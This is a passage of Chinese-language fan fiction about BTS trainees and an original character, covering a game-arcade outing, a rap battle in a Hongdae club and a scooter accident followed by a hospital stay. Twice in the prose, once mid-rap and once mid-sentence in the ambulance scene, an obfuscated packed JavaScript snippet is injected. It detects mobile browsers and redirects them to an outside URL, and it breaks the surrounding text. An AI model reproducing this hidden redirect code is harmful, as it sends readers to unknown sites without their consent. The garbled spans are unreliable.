他明明接受了更系统、更长时间的专业训练,怀着明确的期待走上这条路,却因为公司变动而被迫中途转向,从零开始踏入一个完全陌生的领域。 不会遗憾吗?不会……不甘吗? 金硕珍的脚步也慢了下来,傍晚的风吹过街道,带来一丝凉意,他沉默了片刻,脸上惯常的温和笑容淡去,露出底下些许真实的痕迹。 “说完全没有,那是假的。” 他坦诚道,声音平和。 “刚转成练习生那段时间,确实很难受,看着镜子里的自己,跳舞跟不上节奏,唱歌找不到感觉,身体僵硬得像个木偶……挫败感几乎每天都会冒出来。” “偶尔会想,如果我还在原来的路上,现在会是什么样子?” 他停了停,目光望向远处渐次亮起的霓虹。 “但是啊,岁秋。” 他重新看向身边的弟弟,笑容再次回到脸上,这次更加坚实,“选择留在这里,是我自己做的决定。公司给了其他选择,但我选择了相信方PD,也选择了……和这群家伙一起做梦。” “既然选了这条路,我就没想过回头,把脚下的路走扎实,走到底,才是现在最重要的事。我还等着,能和大家一起真正地站上舞台呢。” 金硕珍的语气并不激昂,却带着一种经历过迷茫后的笃定。 安岁秋看着他,那双漂亮的琥珀色眼眸在街灯下显得格外清亮,他忽然很认真地说:“会的,硕珍哥。我们一定能一起出道的。” 他的声音不大,却带着一种超越年龄的、不容置疑的笃信,那眼神清澈而灼热,仿佛已经看到了那个未来。 后来的金硕珍,在无数个疲惫或闪耀的时刻,总会不经意地想起这个傍晚,想起少年这句掷地有声的鼓励和他眼中毫无阴霾的信任与光芒。 之后金硕珍曾在许多场合公开坦言,当年支撑他熬过艰难练习岁月的,除了对舞台的渴望和家人的支持,这份来自安岁秋的纯粹的信念,也是无比重要的力量之一。 生日的最后一站,是电玩城。 斑斓的灯光、嘈杂的音乐、各式各样的游戏机,瞬间点燃了少年们所剩无几的精力。投篮机、赛车、太鼓达人……玩得不亦乐乎。 然后一群人聚在了抓娃娃机前。 金泰亨信誓旦旦要抓最难的娃娃送给柾国,结果浪费了一堆游戏币,只换来几次“差一点”,田柾国自己尝试,也是铩羽而归。 金南俊和郑号锡在旁研究角度和力学,分析得头头是道,实践起来却惨不忍睹,连闵玧其都被拉过来试了两次,机器爪在他的操控下倒是稳当,可惜落点总差毫厘。 就在大家准备放弃时,安岁秋默默走到了那台装着各种毛绒兔子的机器前。 他投币操纵摇杆,目光沉静地跟着爪子移动,定位,下落,抓取——一套动作流畅得不像新手。爪子稳稳地抓住了一只穿着背带裤的棕色兔子,晃晃悠悠地移向出口,然后,“噗通”一声,兔子掉了出来。 “哇!!抓住了!岁秋哥好厉害!” 田柾国第一个欢呼起来,拿起那只软乎乎的兔子,爱不释手。 安岁秋抿唇笑了笑,没说话,接着又投币。 接下来的时间,他几乎成了抓娃娃机前的“奇迹创造者”,又陆续抓出了一只熊猫、一只企鹅和一只小恐龙,看得旁边几个小学生目瞪口呆,满脸崇拜。 战利品颇丰,但问题也随之而来。他们的宿舍空间本就狭小,根本放不下这么多毛绒玩具。 “怎么办?” 金泰亨抱着企鹅,有点舍不得。 金硕珍看了看眼巴巴望着他们,其实主要是望着安岁秋手里剩余游戏币的那几个小学生,笑了笑,“不如,送给更需要它们的小朋友?” 这个提议得到了大家的赞同,除了还紧紧抱着棕色兔子的田柾国,以及金泰亨怀里那只小企鹅。 于是,金南俊和郑号锡抱起多余的娃娃,走向那几个孩子,温和地询问他们喜欢哪一个,孩子们惊喜万分,怯生生地指了自己喜欢的,接过娃娃时脸上绽开大大的笑容,还不忘鞠躬说“谢谢哥哥!” 闵玧其站在稍远的地方,看着这一幕,嘴角几不可察地弯了一下。 他回头看见安岁秋正把最后几枚游戏币递给田柾国,示意他去玩自己想玩的,田柾国接过,眼睛弯成了月牙,转身就跑向了音乐游戏机。 ------------------------ 参考文献: [1]李宗泫(曲); 李宗泫(词). 脆弱的善良[CD]. 南英珠 . 首尔, CJ E&M Music, 2014-09-30. [2] 李铉升(导), 宋康昊, 申世京(主). 蓝盐[MOV]. 犯罪/爱情/剧情. 首尔, 韩国, 2011-08-31. 13. 场域反击 后来在闵玧其的参与和指导下,安岁秋和田柾国重新走进录音室,把那首生日曲正式录了一遍。 在田柾国的强烈要求下,原本要留给田柾国独唱的版本,硬是被改成了两人合唱。 “这是岁秋哥写的歌,岁秋哥也要唱进去才行。” 郑号锡他们也终于在公司月末考核的舞台上,听到了这首歌的完整舞台版。 安岁秋和田柾国并肩站在练习室中央的临时“舞台”上,一盏射灯打在两人身上,前奏响起时,安岁秋抱着吉他轻轻弹拨,田柾国则握紧麦克风,眼神亮亮地看着台下唯一的观众席——方时赫和其他老师。 两人的声音交织在一起,安岁秋的清亮中带着磁性的底色,托着田柾国尚未完全褪去奶气的少年音,和声部分设计得巧妙又自然。没有复杂的技巧,只有真诚的演唱和偶尔对视时的笑意。 表演结束,声乐老师金盛恩难得地直接鼓掌,点了点头:“情感处理得很好,和声也和谐,继续加油。” 方时赫更是笑得眼睛眯成缝,看向安岁秋的眼神仿佛在看一颗正在自主发光的宝石。考核结束后的第二天,安岁秋的“作业清单”上就又多了一项——参与公司下一批自制曲的编曲试作。 闵玧其看着安岁秋接过新任务时那瞬间黯淡又强打精神的小脸,心里只觉得好笑。 果然还是小孩子,再聪明再能干,面对源源不断的工作也会忍不住泄气。 他什么也没说,只是走过去,随手往安岁秋怀里丢了一罐还温热的咖啡牛奶。 公司定期的体检报告出来了。 安岁秋拿着自己的那份,对着身高栏看了好几眼——169cm,比两个月前足足窜了5厘米。不知道是每天练舞拉伸的缘故,还是被哥哥们坚持不懈地填鸭式喂养起了作用,总之,他开始抽条了。 可惜体重栏的数字依旧没什么变化:46kg。 郑号锡拿着报告,捏了捏安岁秋没什么肉的脸颊,叹了口气:“哎一古,怎么光长个不长肉呢?还是吃得太少了。要是能有柾国一半的饭量,我和你硕珍哥也不用天天跟监督犯人似的盯着你吃饭了。” 被点名的田柾国正举着自己的体检报告欢呼——他突破170cm了,以微弱的1厘米优势反超了安岁秋,他得意洋洋地把报告纸举到安岁秋面前晃了晃,笑得见牙不见眼。 安岁秋瞥了他一眼,语气平淡,“今晚的数学作业自己写。” 田柾国的笑容瞬间僵在脸上,下一秒火速滑跪:“岁秋哥我错了!你最好你最帅你最高!作业不能自己写啊!” 一旁的闵玧其默默路过,脸上没什么表情,心里却开始认真思考:是不是该把每天两杯的冰美式换成牛奶?他应该,还能再长一点吧? 安岁秋对高中的学习内容游刃有余,即使每周只去学校三天,上次月考依然稳居年级前二十。老师对他的自主学习模式放了心,考勤也宽松了许多,于是每晚固定的学习时间,就逐渐演变成了给田柾国和金泰亨补课的时间。 很遗憾,安岁秋很快发现,自己或许是个不错的解题者,但绝不是一个好老师。他常常在草稿纸上流畅地写下一串推导,然后抬头对着一脸茫然的田柾国说:“就这样……再这样……不就出来了吗?” 田柾国:“……” 两个人鸡同鸭讲地磨合了一周后,安岁秋冷静地宣布放弃:“柾国啊,你的学习技能点,可能暂时点不亮了。” 于是后来的补课时间就变成了,安岁秋坐在中间,左边是咬着笔杆苦思冥想的田柾国,右边是神游天外、时不时冒出一句情景剧台词的金泰亨。 安岁秋负责确保他们的作业本不被空白填满,至于正确率……嗯,尽力就好。 原本负责给金泰亨补课的金硕珍,在旁观了几次这种“灾难现场”后,也默默认清现实,并降低了对弟弟们学业的期望:“能写完就行,真的,写完就行。” 金硕珍安慰自己,未来组合的学历门面,就靠他、南俊和岁秋撑着了。 距离上次田柾国的生日聚餐不到两周,一群人又乌泱泱地聚到了公司附近常去的那家姨母餐馆,这次,是为了庆祝金南俊的生日。 部队锅在桌中央咕嘟咕嘟地沸腾着,辛辣的香气混着拉面和芝士的浓郁弥漫开来。 月初刚因为忙内生日放了一天假,这次自然没同样的待遇,不过鉴于他们在最近的月度考核中表现不错,方时赫还是大手一挥,给了他们半天的宝贵假期。 礼物环节简单而温馨,哥哥弟弟们各自准备了小心意。轮到安岁秋时,他拿出一个质感很好的深棕色托特包,品牌是 UNDERCOVER[1],设计简洁,容量可观,皮质柔软。 “南俊哥总背那个旧书包,带很多东西的时候不方便。”安岁秋说,“这个能装,也好搭衣服。” 金南俊接过,摸了摸包身扎实的用料和利落的缝线,脸上露出惊喜又感动的笑容,揉了揉安岁秋的头发,“谢谢岁秋,哥很喜欢。” 聚餐快结束时,几个弟弟的好奇心被勾了起来。 金泰亨眨巴着眼睛问:“南俊哥,你以前地下演出的酒吧,到底是什么样的啊?我们能去看看吗?” 田柾国也跟着点头,满眼期待。 金南俊和闵玧其对望一眼,金南俊曾以“Runch Randa”的艺名活跃于首尔地下嘻哈圈,从2007年起就在弘大、梨泰院一带的俱乐部和街头演出;闵玧其则以“Gloss”之名在大邱的地下团队活动过。 那些地方混杂着梦想、汗液、烟草和酒精的气味,并不全然是适合未成年的场所。 但在弟弟们亮晶晶的、充满求知欲的眼神攻势下,两人最终还是妥协了。 “就去看看,不许乱跑,不许碰任何酒精饮料,跟紧硕珍哥和号锡。” 于是,一行七人转战弘大一家名为“Underground Flow”的酒吧,时间尚早,人却已经不少,空气里弥漫着低音炮震动的嗡鸣和隐约的烟味。金南俊熟门熟路地和吧台后的店长打了招呼,点了七杯无酒精饮料。 店长是个扎着小辫子的中年男人,看见金南俊很惊喜:“Runch!好久不见!今晚正好有场子,还有free battle,要不要上去玩玩?好多乐迷还惦记你呢。” “不了哥,我现在是练习生了,今天就是带弟弟们来感受下氛围。” 他端着饮料回到卡座,没注意到店长欲言又止的表情——店长突然想起,今晚主场的那个rapper,当年可是和金南俊很不对付。 除了金南俊和闵玧其,其他人都是第一次来这种地下音乐场所。 连做过地下舞者的郑号锡也觉得新奇,田柾国和金泰亨更是像两只初次探险的小动物,眼睛不够用似的左右张望,被金硕珍和郑号锡一左一右看得死死的。 演出开始,音乐炸响。 金南俊起初还随着节奏轻轻点头,直到那个熟悉又令人不悦的声音通过麦克风传遍全场——果然是他。 那个艺名叫“Viper”的rapper,比金南俊年长几岁,实力不差但心胸狭隘。当年在地下圈,因为金南俊年纪最小却最受瞩目,抢了不少风头,Viper就处处与他别苗头,几次battle被金南俊碾压后更是结下梁子,后来金南俊逐渐转向练习生生活,两人便没再碰面。 金南俊只想低调地看完表演就带弟弟们离开,然而灯光变亮些时,他清晰地感觉到Viper的目光落在了自己这一桌,然后,停在了他身边的安岁秋身上。 安岁秋今天穿了件oversize的黑色连帽卫衣,帽子松松地罩在头上,碎发贴着白皙的脸颊,昏暗灯光下,精致柔和的轮廓确实容易让人产生错觉。 Viper显然误会了,他停下演唱,将麦克风对准金南俊的方向,嘴角扯出下流的弧度,歌词油腻而充满恶意。 “哟,Runch,身边换新伴了?帽子遮脸是怕见光?/ 细皮嫩肉挺会挑,可惜跟了个软脚虾!/ 不如来哥这边,教你什么叫‘夜生活’——” 桌上气氛瞬间冻结。 安岁秋起初没反应过来,左右看了看,发现对方指的就是自己,才慢半拍地眨了眨眼,脸上露出一丝困惑。 谁?我? 金硕珍和郑号锡第一反应是想去捂田柾国和金泰亨的耳朵和眼睛,手忙脚乱,两个小孩却已经听清看清,气得眼睛发红,拳头握紧。 闵玧其的脸色彻底冷了下来,他没等任何人反应,单手一撑,利落地跳上了低矮的舞台,从愣住的DJ手中抽走一支麦克风。 伴奏还在继续,他对着那个方向,声音透过音响传来,低沉而充满碾压感。 “满嘴喷粪当墨水,眼球糊屎看谁都是鬼/ 实力不行就玩阴的,地下都嫌你脏了地/ 废物就老实待在垃圾桶,别爬出来污染空气”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394862|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没有一句脏字,却字字如刀,考虑到台下有弟弟们,他克制了用词,但那份冰冷的鄙夷和压倒性的气势,让全场瞬间安静,随即爆发出更大的欢呼。 金南俊在Viper开口的瞬间就看向了安岁秋,地下世界这种肮脏的口舌之争他见多了,但波及到无辜的弟弟,还是让他心头火起,更怕安岁秋因此难受。 然而,他那个才十五岁的弟弟,脸上并没有出现预想中的惊慌或愤怒。 安岁秋甚至很淡定,在闵玧其跳上台时他还跟着节奏轻轻鼓掌,等闵玧其一段炸场结束,他笑眯眯地凑到金南俊耳边,用气声说:“玧其哥好帅哦。” 台下观众的欢呼和口哨声几乎掀翻屋顶,明眼人都能听出闵玧其的水平远在Viper之上,Viper面子上挂不住,眼神愈发阴沉。 闵玧其觉得无趣,放下麦克风准备下台。 就在这时,一只手指修长、手背带痣的手从他旁边伸过来,接过了那只麦克风。 闵玧其抬眼,对上安岁秋清亮平静的眼睛——他舞台上的戾气,莫名就消散了大半。 安岁秋接过闵玧其手里的麦克风,指尖不经意擦过对方温热的手背,他先是对着舞台侧方微微颔首,清亮的少年音清晰地传遍每个角落,“前辈。” 这一声,让Viper和不少观众都愣了一下。这声音分明是个男孩子,Viper这才意识到自己闹了乌龙,表情更加难看。 金南俊此时也板着脸站到了安岁秋侧后方,像一堵可靠的墙,眼神锐利地锁定Viper。 安岁秋其实原本没打算上场的,他相信哥哥们能处理好,但他刚才听到金泰亨在一旁小声又气愤地嘀咕: “哼,回去我要好好学rap!以后把这些坏蛋都diss回去!” 安岁秋歪了歪头,觉得这是个不错的主意。 于是他顶着才接触两个月的rap功底,就这么镇定自若地站到了舞台中央,金南俊没有阻止他,只是快速跟DJ沟通了几句。 安岁秋确实还不到能freestyle battle的水平,但他从不打无准备之仗。 他之所以敢上来,是因为他听出来了——Viper刚才表演用的伴奏beat,是他差不多半年前上传到音乐博客上的一个免费作品,署名正是“Chu.”。 他对自己的作品,熟悉到每一个鼓点、每一段旋律的呼吸。 安岁秋朝着Viper露出了一个无比漂亮、甚至堪称乖巧的笑容,宽松的卫衣领口滑下一点,露出清瘦的锁骨和脖颈,然而,当麦克风贴近唇边,他眼神里的温度骤然褪去,换上一种近乎锐利的专注。 伴奏恰好循环到他最熟悉的那段鼓点,他唇角微勾,声音透过麦克风,带着一种干净却极具穿透力的力度流淌出来。 “你的挑衅(Hook)偷我的鼓点(Beat),押韵老旧得像生锈的链/ 连男女都看不清的眼,怎么看得见音乐的线?/ 现在,请安静点,仔细听好,什么叫天赋,什么叫正确 ” 他的flow并不复杂花哨,却异常精准利落,每个字都稳稳踩在自己创作的节奏上,那种游刃有余的掌控感,与Viper方才的气急败坏形成了鲜明对比。 尤其最后一句放缓的尾音,带着一丝少年人特有的、近乎傲慢的从容。 最后一句收尾,他微微躬身,台下瞬间爆发出比之前更热烈的尖叫和欢呼——这个漂亮得像精灵的少年,用实力把一场恶意的挑衅,变成了个人技的惊艳展示。 金南俊在舞台边,等到Viper怨毒的目光再次投来,他耸了耸肩,摊开手露出一个无奈又带着明显炫耀意味的笑容,然后上前搂住安岁秋的肩膀,亲昵地领着他走下台。 安岁秋一下台,就被一个飞扑过来的身影抱了个满怀。 金泰亨搂着他的腰,兴奋地把他抱起来原地转了小半圈,低沉的嗓音嗲起来居然毫不违和,“哇~安安!太厉害了!帅死了!” 安岁秋被他转得头晕,笑着拍他的背,“呀!金泰亨!放我下来!” 夜色渐浓,但属于他们的舞台,仿佛才刚刚亮起灯。 ------------------------ 参考文献: [1] UNDERCOVER. 2011 Dark Brown Tote Bag[Bag]. 2011;日本售价:?12,800. 14. 危机干预 期中考试最后一科的结束铃声响起,安岁秋合上笔盖,将试卷平整地交到讲台,动作从容得像只是完成了一次日常练习。题目全在复习范围内,他对自己能交出的答卷有足够的把握。 走出考场,深秋午后的阳光带着暖意,但风已染上凉瑟。 他打开手机,屏幕亮起。 「珍哥:岁秋啊,考完了吗?我们被留下加练舞蹈了,走不开。已经让玧其去接你了,他应该快到校门口了。」 安岁秋抬眼望向校门口略显拥挤的人群——来接孩子的家长、等待朋友的同学、散发传单的职员,而在那片略显纷杂的背景中,他一眼就看到了那个身影。 闵玧其穿着简单的黑色外套和长裤,脖子上挂着一条灰色围巾,身形清瘦挺拔,独自倚在远离人群的围墙边。 他微微低着头,碎发遮住部分额头,侧脸线条在光线下显得有些冷淡疏离。 在周围大多是中年人或穿着日常服饰的人群里,他那份独特的、带着些许艺术家气质的冷感,确实格外突出,甚至有些……白得发光。 安岁秋脑海里莫名冒出这个形容。 他走过去,闵玧其也适时抬起头,目光对上,几不可察地点了下头,算是招呼。然后很自然地伸手,接过了安岁秋肩上那个装着复习资料、略显沉甸的书包,甩到自己肩上。 “考完了?”闵玧其问,声音是一贯的低沉平淡。 “嗯。”安岁秋点头。 “吃饭。” 对话简洁到近乎匮乏。 闵玧其的驾照还没考下来,所谓的“接”,其实就是带着考了一整天、可能还没吃午饭的弟弟去找个地方填饱肚子,然后送他上回宿舍的公交,而他自己,之后还要去赶那份夜晚的外卖兼职。 推开门,温暖的气息混着食物香气扑面而来,瞬间驱散了外套上沾染的秋凉。 九月底月的首尔还在秋季,但寒意已开始渗透,前两天郑号锡就不幸中招,感冒发烧,在宿舍小床上蔫了两天。 安岁秋照着网上的教程笨拙地炖了参鸡汤,竟然意外地成功,得到了哥哥们的一致好评,连金硕珍都好奇地问他做法。虽然只是一个多小时前的事,还是他自己亲手做的饭,但是安岁秋已经完全把过程抛在了脑后。 田柾国再一次感慨他岁秋哥这神奇的记忆分配机制—— 课本知识、乐理乐谱、舞蹈细节,记得分毫不差;昨天吃了什么、钥匙放哪儿、答应的小事,转身就忘。 好像他大脑的CPU全用来处理这些有用的信息了,而临时缓存文件则被定期高速清空,就是这清理垃圾的速度也太快了些。 闵玧其对安岁秋的考试内容和可能取得的成绩毫无兴趣,他不在意这些。 安岁秋想上学,他就支持;哪天觉得累了不想上,他也会觉得没什么大不了,他唯一在考虑的,是这孩子兼顾学业和高强度练习,会不会太消耗自己。 两碗热气腾腾的汤面端了上来。 闵玧其把那份加了牛肉的碗推到安岁秋面前,自己低下头安静地开始吃起清汤面,安岁秋也拿起筷子,但吃了两口,动作就慢了下来。坐了一整天考场,大脑虽然高速运转,但身体却处于相对静止状态,油腻的午饭似乎还没完全消化,胃里没什么空隙,食欲一般。 他放下筷子,抬眼恰好撞上闵玧其看过来的目光,对方已经吃完了自己那碗,正拿着纸巾擦嘴。 看到安岁秋碗里几乎没怎么动的面条,闵玧其那张常常没什么表情的脸上,浮现出一抹极淡的、近乎无奈的笑意。 他放下纸巾,身体微微前倾,压低了些声音,那副独特的、带着磁性的低沉嗓音放得比平时更柔缓,“再吃点,吃太少了。” 安岁秋:“……” 这谁扛得住。 像是被那声音和眼神蛊惑了,安岁秋迷迷糊糊地重新拿起筷子,一口接一口,竟然真的把那大半碗面条解决掉了。 吃完,他捂着明显鼓起来一点的胃部,用略带控诉的幽怨眼神看向闵玧其。 闵玧其摸了摸鼻尖,眼里笑意未散,轻声说:“没事,一会儿走走,消化一下就好了。” 结账出门,一阵凉风迎面吹来,卷起地上的几片枯叶,也把安岁秋敞怀穿着的校服外套下摆吹得扬起。 清潭高中的男生校服是标准的深蓝色西装,内搭白衬衫和蓝色领带,这个天气单穿正好,但安岁秋体寒怕冷,出门前特意在衬衫外加了件同色系的毛衣马甲,此刻风一灌,他还是下意识缩了缩脖子。 闵玧其瞥见没说什么,只是抬手将自己脖子上那条灰色的针织围巾解了下来,上前一步,仗着那微不足道的一厘米身高优势,很自然地把安岁秋往自己跟前带了带。 然后低头,仔细地将还带着自己体温的围巾一圈圈绕在弟弟脖颈上,动作不算特别熟练,但足够细致,最后把末端妥帖地塞好,只露出安岁秋那双因为惊讶而微微睁大的浅棕色眼睛。 做完这一切,闵玧其才用手指轻轻点了点安岁秋没被围巾包裹住的额头,语气听起来有点慊弃,“知道自己怕冷,怎么不多穿点?” 围巾柔软蓬松,残留着干净的洗衣液的气息和一点点极淡的、属于闵玧其的薄荷味。 安岁秋像只被裹舒服的小动物,下意识用脸颊蹭了蹭柔软的织物,然后抬起眼,眉眼弯弯地看着闵玧其,不说话只是笑。 闵玧其被他看得心头微软,又有点莫名的不自在,移开视线,心里嘀咕:啧,麻烦死了。 如果忽略他嘴角那抹没压下去的弧度,这话听起来倒还挺像那么回事。 公交站不远,车来后,安岁秋刷卡上车,隔着玻璃窗朝外挥手。 闵玧其插着口袋站在站牌下,只是随意抬了抬手,动作堪称敷衍。但他站着没动,直到公交车载着那个围着灰色围巾的身影缓缓驶离,彻底消失在街角,他才转身,走向不远处停着的那辆略显旧了的电瓶车。 夜晚的兼职,开始了。 安岁秋并没有直接回宿舍,胃里确实有些饱胀,他在中途提前下了车,打算沿着街道慢慢走回去,顺便消食。 傍晚时分,街道两旁的店铺亮起暖黄的灯光,他走过飘着香气的面包店、灯火通明的便利店、摆满时尚服饰的橱窗……步履悠闲。 路过一家位置略显偏僻的店铺时,安岁秋脚步顿了顿。 招牌上写着“沉浸式密室逃脱”,这让他想起上周和田柾国出去玩的那个密室。 因为计划中的游乐园临时闭园,两个胆子都不算小的孩子一拍即合,转头就扎进了这家恐怖主题的密室。 过程……有点好笑。 扮鬼的NPC数次突袭,都没能成功吓到这两个一个过分镇定、一个好奇心大于恐惧感的少年,反而被安岁秋冷静分析剧情线索、田柾国瞪圆了眼睛试图和“鬼”交流的场面弄得有点挫败。 田柾国虽然不怕那些假鬼怪,但黑暗陌生的环境让他紧紧黏在安岁秋身边,手抓得死紧,美其名曰“怕走散”,就连安岁秋需要短暂松手去取一个道具,他都要亦步亦趋地跟着,指尖勾着安岁秋的衣角。 那次体验不错。 安岁秋想着,下次或许可以怂恿所有哥哥们一起来。人多肯定更有趣,尤其是必须有郑号锡和金硕珍在场——想象一下号锡哥可能出现的经典尖叫,和硕珍哥努力保持镇定但或许会悄悄抓紧谁的手的样子,应该会很好玩。 思绪飘回,他继续往前走。 目光被一家装潢雅致的饰品店吸引,橱窗里陈列着各式各样在灯光下熠熠生辉的项链、戒指、耳饰。 他停下脚步,忽然想起刚才分别时,闵玧其低头给他系围巾,两人距离很近,他清晰地看到对方近在咫尺的耳垂上,那枚小小的、简单的黑色耳钉,随着动作微微晃动,在冷白的皮肤上显得格外利落好看。 鬼使神差地,他推门走了进去,柜台后的店员微笑着迎上来。 安岁秋的目光掠过那些琳琅满目的女款饰品,径直问道,“请问,有没有适合男生戴的、比较简约的耳饰?” “最好是……长一点的。” “有的,请这边看。”店员引他到一个相对简洁的玻璃柜前。 片刻后,安岁秋走出店门。 他背上依然背着书包,手上看起来空无一物,只是那身深蓝色校服外套的右侧口袋里,微微鼓起了一个小方盒的形状。 他最终选了一对设计独特的耳钉。 浅金色的细圈,外侧镶嵌一颗小巧的方形切割锆石,下方垂着两件坠饰:一侧是羽毛纹理细腻的金属羽片,另一侧则是一颗稍大的菱形切割锆石。羽毛的轻盈柔和与锆石的冷冽锐利碰撞在一起,形成一种温柔又叛逆的矛盾美感。 安岁秋觉得,这种气质莫名很适合闵玧其。 指尖隔着口袋布料触到那个小盒子,又摸了摸脖子上柔软温暖的围巾,安岁秋唇角不自觉地向上弯了弯。 再往前走过一个路口,就能看到宿舍所在的街巷了,然而,前方的路似乎被什么堵住了,隐约传来嘈杂的人声和车辆鸣笛。 “前面是不是出事了?” “好像撞车了!” “哎呀,看看去……” 几个路人交谈着从安岁秋身边快步走过,脸上带着混杂着担忧与好奇的神情。 安岁秋不是爱凑热闹的性格,但那似乎是回宿舍的必经之路,他皱了皱眉,想着如果情况严重,或许需要帮忙打电话求助。 随着他向前走去,一种莫名的不安感却渐渐萦绕心头,越是靠近那个围拢了几圈人的地方,他的心跳竟不受控制地加快,咚咚地敲击着耳膜。 拨开外围驻足的人群,视野豁然开朗。 街面上一片狼藉,一辆小轿车斜停在路中,车头有轻微凹陷,不远处,一辆熟悉的、此刻却倒在地上、车轮还在微微空转的电瓶车刺痛了他的眼睛。 而电瓶车旁,一个穿着黑色外套的身影,正侧躺在冰冷的柏油路面上,一动不动。 时间仿佛在那一刻被无限拉长、凝滞。 安岁秋的呼吸骤然停止,周遭所有的声音——惊呼、议论、车鸣——都瞬间褪去,变成一片嗡鸣的空白。 他看清了。 那略显凌乱的黑色碎发间,露出的一小截冷白皮肤上,那枚熟悉的、简单的黑色耳钉。 是闵玧其。 安岁秋的理性还在挣扎着工作:没有看到大片血迹,刹车的痕迹不算长,速度应该不快,戴了头盔……应该不会太严重,他试图用这些信息安抚自己狂跳的心脏。 但没有用。 所有的理智在确认那个人是闵玧其的瞬间,轰然倒塌。 安岁秋的脸色霎时变得惨白,他几乎是踉跄着、用尽力气朝那个身影冲过去,膝盖重重地磕在粗糙的水泥路面上,发出沉闷的声响,但他浑然不觉痛,颤抖的手指拨开对方额前被汗浸湿的碎发。 ——真的是闵玧其。 那张总是没什么表情、偶尔露出些许不耐或无奈神情的脸,此刻紧紧皱着眉,双眼紧闭,牙关紧咬,本就白皙的肤色失去了所有血色,显得近乎透明。他的右手死死地抓着自己左侧的肩膀,指节用力到泛白,青筋凸起,整个身体因为疼痛而蜷缩着,微微发抖。 他还活着,还有意识,但显然正承受着巨大的痛苦。 这个认知让安岁秋几乎停滞的呼吸重新回来,却带来一阵尖锐的刺痛。他强迫自己冷静下来,用尽量平稳但依然带着颤音的声音,拜托旁边一位看起来沉稳的阿姨帮忙拨打急救电话。 然后,他跪在闵玧其身边,不敢轻易移动他,只能一遍遍低声呼唤,声音轻得像怕惊扰了什么,“玧其哥……闵玧其?” “能听到我说话吗?闵玧其……” “玧其,闵玧其……” 闵玧其没有回应,依旧紧闭着眼,呼吸急促。但就在安岁秋一遍遍的呼唤中,他那紧紧抓着自己左肩的右手,忽然松开了些,在冰冷的地面上摸索着,准确地抓住了安岁秋撑在一旁的冰凉的手。 那握力很大,甚至有些弄疼了他,但安岁秋反手紧紧回握,仿佛那是汪洋中唯一的浮木。 时间在焦灼的等待中流逝,每一秒都无比漫长。 安岁秋在心里无声地祈求,祈祷救护车快一点,再快一点,同时他的声音没有停,持续地、清晰地叫着闵玧其的名字,害怕一旦停下,对方就会沉入更深的黑暗。 也许是祈祷起了作用,大概五分钟后,尖锐的救护车鸣笛声由远及近。 医护人员迅速疏散人群,进行初步检查。闵玧其的左肩有明显异常,初步判断可能是脱臼,身上还有一些擦伤,但意识尚存,暂无生命危险,需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394863|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻送院详细检查。 在医护人员试图将闵玧其移上担架时,他那只紧握着安岁秋的手,依旧没有松开,甚至无意识地收得更紧。 “患者家属吗?一起上车吧,帮忙稳着点。” 经验丰富的急救人员看了一眼脸色苍白的安岁秋,快速说道。 疾驰的车厢里,医生一边进行基础监测,一边快速向安岁秋说明情况:左肩关节脱臼可能性大,可能需要手法复位或小型手术,但预后通常良好,配合康复训练,一般不会影响日后活动。 安岁秋红着眼眶,用力点头,哑声说:“只要对他好,该做什么手术就做。拜托你们了。” 医生询问患者基本信息及关系,安岁秋答得飞快,“闵玧其。我是他弟弟。” 接下来的流程快得有些模糊,挂号、缴费、拍片、确诊——左肩关节前脱臼,伴有周围软组织损伤,需要立即进行闭合复位手术,但手术同意书需要家属签字。 安岁秋站在护士站前,身上还穿着清潭高中的校服,脸上带着未脱的稚气。 护士看着这个明显未成年的少年,有些为难,“小同学,这个字需要成年直系亲属或监护人签,你……” “他父母在外地,赶不过来。我是他弟弟,我可以负责。” 安岁秋的声音异常冷静,甚至带着一种不容置疑的力度,他快速报出了闵玧其的住民登录号码和一些基本信息,并补充道,“如果需要,手术费用我现在就可以结清,麻烦请尽快安排手术...” 他看起来镇定又果断,加上闵玧其的情况确实需要及时处理,医院方面在紧急联系不上其他家属后,权衡之下,同意了由他签字。 安岁秋拿起笔,在“家属/关系人”一栏,稳稳地签下了自己的名字。 手术室的灯亮起。 安岁秋独自坐在门外冰凉的塑料椅上,双手紧紧握着手机,屏幕暗着,他最终还是没有拨通金硕珍或其他哥哥的电话。 医生说情况不严重,手术很快。 他想,等玧其哥醒了,稳定了,再说也不迟,没必要让所有人都跟着揪心一场。 紧绷的神经稍稍松弛,随之而来的是身体各处迟到的疼痛,安岁秋仰头靠在椅背上,抬起左手盖住眼睛,隔着口罩深深地呼出了一口气,然后他低下头看向自己的膝盖和右手。 干净的深蓝色校服裤膝盖处,已经磨出了毛边,沾满灰黑色的污渍。他小心地挽起裤腿,白皙的膝盖上两片刺目的青紫瘀痕赫然在目,右手背上则是几道清晰的、深红色的指印,还有几道破皮的挖痕,是闵玧其无意识中留下的。 他抿了抿唇,起身找到护士站,要了一卷医用绷带和一小瓶碘伏,然后走向了洗手间。 闵玧其是被肩膀上闷钝的、持续不断的疼痛和喉咙里火烧火燎的干渴感弄醒的,他费力地掀开沉重的眼皮,模糊的视野逐渐清晰。 映入眼帘的是一片陌生的、刺眼的白——天花板、墙壁、被单……空气里弥漫着消毒水特有的气味,他转动僵硬的脖颈,看见了坐在床边椅子上的人。 是安岁秋。 